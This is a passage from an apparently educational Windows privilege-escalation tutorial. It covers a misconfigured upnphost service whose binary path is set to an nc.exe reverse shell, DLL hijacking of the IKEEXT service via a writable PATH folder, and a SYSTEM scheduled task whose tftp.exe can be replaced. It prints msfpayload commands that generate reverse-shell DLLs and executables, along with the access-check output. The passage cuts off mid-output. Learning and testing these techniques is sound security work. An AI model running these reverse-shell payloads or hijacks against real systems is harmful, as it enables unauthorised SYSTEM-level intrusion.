TYPE : 20 WIN32_SHARE_PROCESS
START_TYPE : 3 DEMAND_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Universal Plug and Play Device Host
DEPENDENCIES : SSDPSRV
SERVICE_START_NAME : LocalSystem
C:\> net start upnphost
Service Shell (upnphost)
We will not always have full access to a service even if it is incorrectly configured. The image below is taken from Brett Moore's presentation on Windows privilege escalation, any of these access rights will give us a SYSTEM shell.
Could not load image
The important thing to remember is that we find out what user groups our compromised session belongs to. As mentioned previously "Power Users" is also considered to be a low privileged user group. "Power Users" have their own set of vulnerabilities, Mark Russinovich has written a very interesting article on the subject. The Power in Power Users (Mark Russinovich) - here Finally we will examine file/folder permissions, if we can not attack the OS directly we will let the OS do all the hard work. There is to much ground to cover here so instead I will show you two kinds of permission vulnerabilities and how to take advantage of them. Once you grasp the general idea you will be able to apply these techniques to other situations. For our first example we will replicate the results of a post written by Parvez from GreyHatHacker; "Elevating privileges by exploiting weak folder permissions". This is a great privilege escalation write-up and I highly recommend that you read his post here. This example is a special case of DLL hijacking. Programs usually can't function by themselves, they have a lot of resources they need to hook into (mostly DLL's but also proprietary files). If a program or service loads a file from a directory we have write access to we can abuse that to pop a shell with the privileges the program runs as. Generally a Windows application will use pre-defined search paths to find DLL's and it will check these paths in a specific order. DLL hijacking usually happens by placing a malicious DLL in one of these paths while making sure that DLL is found before the legitimate one. This problem can be mitigated by having the application specify absolute paths to the DLL's that it needs. You can see the DLL search order on 32-bit systems below: 1 - The directory from which the application loaded 2 - 32-bit System directory (C:\Windows\System32) 3 - 16-bit System directory (C:\Windows\System) 4 - Windows directory (C:\Windows) 5 - The current working directory (CWD) 6 - Directories in the PATH environment variable (system then user) It sometimes happens that applications attempt load DLL's that do not exist on the machine. This may occur due to several reasons, for example if the DLL is only required for certain plug-ins or features which are not installed. In this case Parvez discovered that certain Windows services attempt to load DLL's that do not exist in default installations. Since the DLL in question does not exist we will end up traversing all the search paths. As a low privilege user we have little hope of putting a malicious DLL in 1-4, 5 is not a possibility in this case because we are talking about a Windows service but if we have write access to any of the directories in the Windows PATH we win. Let's have a look at how this works in practise, for our example we will be using the IKEEXT (IKE and AuthIP IPsec Keying Modules) service which tries to load wlbsctrl.dll.
# This is on Windows 7 as low privilege user1.
C:\Users\user1\Desktop> echo %username%
user1
# We have a win here since any non-default directory in "C:\" will give write access to authenticated
users.
C:\Users\user1\Desktop> echo %path%
C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;
C:\Program Files\OpenVPN\bin;C:\Python27
# We can check our access permissions with accesschk or cacls.
C:\Users\user1\Desktop> accesschk.exe -dqv "C:\Python27"
C:\Python27
Medium Mandatory Level (Default) [No-Write-Up]
RW BUILTIN\Administrators
FILE_ALL_ACCESS
RW NT AUTHORITY\SYSTEM
FILE_ALL_ACCESS
R BUILTIN\Users
FILE_LIST_DIRECTORY
FILE_READ_ATTRIBUTES
FILE_READ_EA
FILE_TRAVERSE
SYNCHRONIZE
READ_CONTROL
RW NT AUTHORITY\Authenticated Users
FILE_ADD_FILE
FILE_ADD_SUBDIRECTORY
FILE_LIST_DIRECTORY
FILE_READ_ATTRIBUTES
FILE_READ_EA
FILE_TRAVERSE
FILE_WRITE_ATTRIBUTES
FILE_WRITE_EA
DELETE
SYNCHRONIZE
READ_CONTROL
C:\Users\user1\Desktop> cacls "C:\Python27"
C:\Python27 BUILTIN\Administrators:(ID)F
BUILTIN\Administrators:(OI)(CI)(IO)(ID)F
NT AUTHORITY\SYSTEM:(ID)F
NT AUTHORITY\SYSTEM:(OI)(CI)(IO)(ID)F
BUILTIN\Users:(OI)(CI)(ID)R
NT AUTHORITY\Authenticated Users:(ID)C
NT AUTHORITY\Authenticated Users:(OI)(CI)(IO)(ID)C
# Before we go over to action we need to check the status of the IKEEXT service. In this case we can see
it is set to "AUTO_START" so it will launch on boot!
C:\Users\user1\Desktop> sc qc IKEEXT
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: IKEEXT
TYPE : 20 WIN32_SHARE_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Windows\system32\svchost.exe -k netsvcs
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : IKE and AuthIP IPsec Keying Modules
DEPENDENCIES : BFE
SERVICE_START_NAME : LocalSystem
Now we know the necessary conditions are met we can generate a malicious DLL and pop a shell!
[email protected]:~# msfpayload windows/shell_reverse_tcp lhost='127.0.0.1' lport='9988' O
Name: Windows Command Shell, Reverse TCP Inline
Module: payload/windows/shell_reverse_tcp
Platform: Windows
Arch: x86
Needs Admin: No
Total size: 314
Rank: Normal
Provided by:
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique: seh, thread, process, none
LHOST 127.0.0.1 yes The listen address
LPORT 9988 yes The listen port
Description:
Connect back to attacker and spawn a command shell
[email protected]:~# msfpayload windows/shell_reverse_tcp lhost='127.0.0.1' lport='9988' D >
/root/Desktop/evil.dll
Created by msfpayload (http://www.metasploit.com).
Payload: windows/shell_reverse_tcp
Length: 314
Options: {"lhost"=>"127.0.0.1", "lport"=>"9988"}
After transferring the DLL to our target machine all we need to do is rename it to wlbsctrl.dll and move it to "C:\Python27". Once this is done we need to wait patiently for the machine to be rebooted (or we can try to force a reboot) and we will get a SYSTEM shell.
# Again, this is as low privilege user1.
C:\Users\user1\Desktop> dir
Volume in drive C has no label.
Volume Serial Number is 948D-A98F
Directory of C:\Users\user1\Desktop
02/18/2014 01:49 PM <DIR> .
02/18/2014 01:49 PM <DIR> ..
04/22/2013 09:39 AM 331,888 accesschk.exe
02/18/2014 12:38 PM 14,336 evil.dll
01/25/2014 12:46 AM 36,864 fubar.exe
01/22/2014 08:17 AM <DIR> incognito2
06/30/2011 01:52 PM 1,667,584 ncat.exe
11/22/2013 07:39 PM 1,225 wmic_info.bat
5 File(s) 2,051,897 bytes
3 Dir(s) 73,052,160 bytes free
C:\Users\user1\Desktop> copy evil.dll C:\Python27\wlbsctrl.dll
1 file(s) copied.
C:\Users\user1\Desktop> dir C:\Python27
Volume in drive C has no label.
Volume Serial Number is 948D-A98F
Directory of C:\Python27
02/18/2014 01:53 PM <DIR> .
02/18/2014 01:53 PM <DIR> ..
10/20/2012 02:52 AM <DIR> DLLs
10/20/2012 02:52 AM <DIR> Doc
10/20/2012 02:52 AM <DIR> include
01/28/2014 03:45 AM <DIR> Lib
10/20/2012 02:52 AM <DIR> libs
04/10/2012 11:34 PM 40,092 LICENSE.txt
04/10/2012 11:18 PM 310,875 NEWS.txt
04/10/2012 11:31 PM 26,624 python.exe
04/10/2012 11:31 PM 27,136 pythonw.exe
04/10/2012 11:18 PM 54,973 README.txt
10/20/2012 02:52 AM <DIR> tcl
10/20/2012 02:52 AM <DIR> Tools
04/10/2012 11:31 PM 49,664 w9xpopen.exe
02/18/2014 12:38 PM 14,336 wlbsctrl.dll
7 File(s) 523,700 bytes
9 Dir(s) 73,035,776 bytes free
Everything is set up, all we need to do now is wait for a system reboot. For demo purposes I have included a screenshot below where I use an Administrator command prompt to manually restart the service.
Service Shell (IKEEXT)
For our final example we will have a look at the scheduled tasks. Going over the results we gathered earlier we come across the following entry.
HostName: B33F
TaskName: \LogGrabberTFTP
Next Run Time: 2/19/2014 9:00:00 AM
Status: Ready
Logon Mode: Interactive/Background
Last Run Time: N/A
Last Result: 1
Author: B33F\b33f
Task To Run: E:\GrabLogs\tftp.exe 10.1.1.99 GET log.out E:\GrabLogs\Logs\log.txt
Start In: N/A
Comment: N/A
Scheduled Task State: Enabled
Idle Time: Disabled
Power Management: Stop On Battery Mode, No Start On Batteries
Run As User: SYSTEM
Delete Task If Not Rescheduled: Enabled
Stop Task If Runs X Hours and X Mins: 72:00:00
Schedule: Scheduling data is not available in this format.
Schedule Type: Daily
Start Time: 9:00:00 AM
Start Date: 2/17/2014
End Date: N/A
Days: Every 1 day(s)
Months: N/A
Repeat: Every: Disabled
Repeat: Until: Time: Disabled
Repeat: Until: Duration: Disabled
Repeat: Stop If Still Running: Disabled
There seems to be a TFTP client on the box which is connecting to a remote host and grabbing some kind of log file. We can see that this task runs each day at 9 AM and it runs with SYSTEM level privileges (ouch). Lets have a look if we have write access to this folder.
C:\Users\user1\Desktop> accesschk.exe -dqv "E:\GrabLogs"
E:\GrabLogs
Medium Mandatory Level (Default) [No-Write-Up]
RW BUILTIN\Administrators
FILE_ALL_ACCESS
RW NT AUTHORITY\SYSTEM
FILE_ALL_ACCESS
RW NT AUTHORITY\Authenticated Users
FILE_ADD_FILE
FILE_ADD_SUBDIRECTORY
FILE_LIST_DIRECTORY
FILE_READ_ATTRIBUTES
FILE_READ_EA
FILE_TRAVERSE
FILE_WRITE_ATTRIBUTES
FILE_WRITE_EA
DELETE
SYNCHRONIZE
READ_CONTROL
R BUILTIN\Users
FILE_LIST_DIRECTORY
FILE_READ_ATTRIBUTES
FILE_READ_EA
FILE_TRAVERSE
SYNCHRONIZE
READ_CONTROL
C:\Users\user1\Desktop> dir "E:\GrabLogs"
Volume in drive E is More
Volume Serial Number is FD53-2F00
Directory of E:\GrabLogs
02/18/2014 11:34 PM <DIR> .
02/18/2014 11:34 PM <DIR> ..
02/18/2014 11:34 PM <DIR> Logs
02/18/2014 09:21 PM 180,736 tftp.exe
1 File(s) 180,736 bytes
3 Dir(s) 5,454,602,240 bytes free
Clearly this is a serious configuration issue, there is no need for this task to run as SYSTEM but even worse is the fact that any authenticated user has write access to the folder. Ideally for a pentesting engagement I would grab the TFTP client, backdoor the PE executable while making sure it still worked flawlessly and then drop it back on the target machine. However for the purpose of this example we can simple overwrite the binary with an executable generated by metasploit.
[email protected]:~# msfpayload windows/shell_reverse_tcp lhost='127.0.0.1' lport='9988' O
Name: Windows Command Shell, Reverse TCP Inline
Module: payload/windows/shell_reverse_tcp
Platform: Windows
Arch: x86
Needs Admin: No
Total size: 314
Rank: Normal
Provided by:
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique: seh, thread, process, none
LHOST 127.0.0.1 yes The listen address
LPORT 9988 yes The listen port
Description:</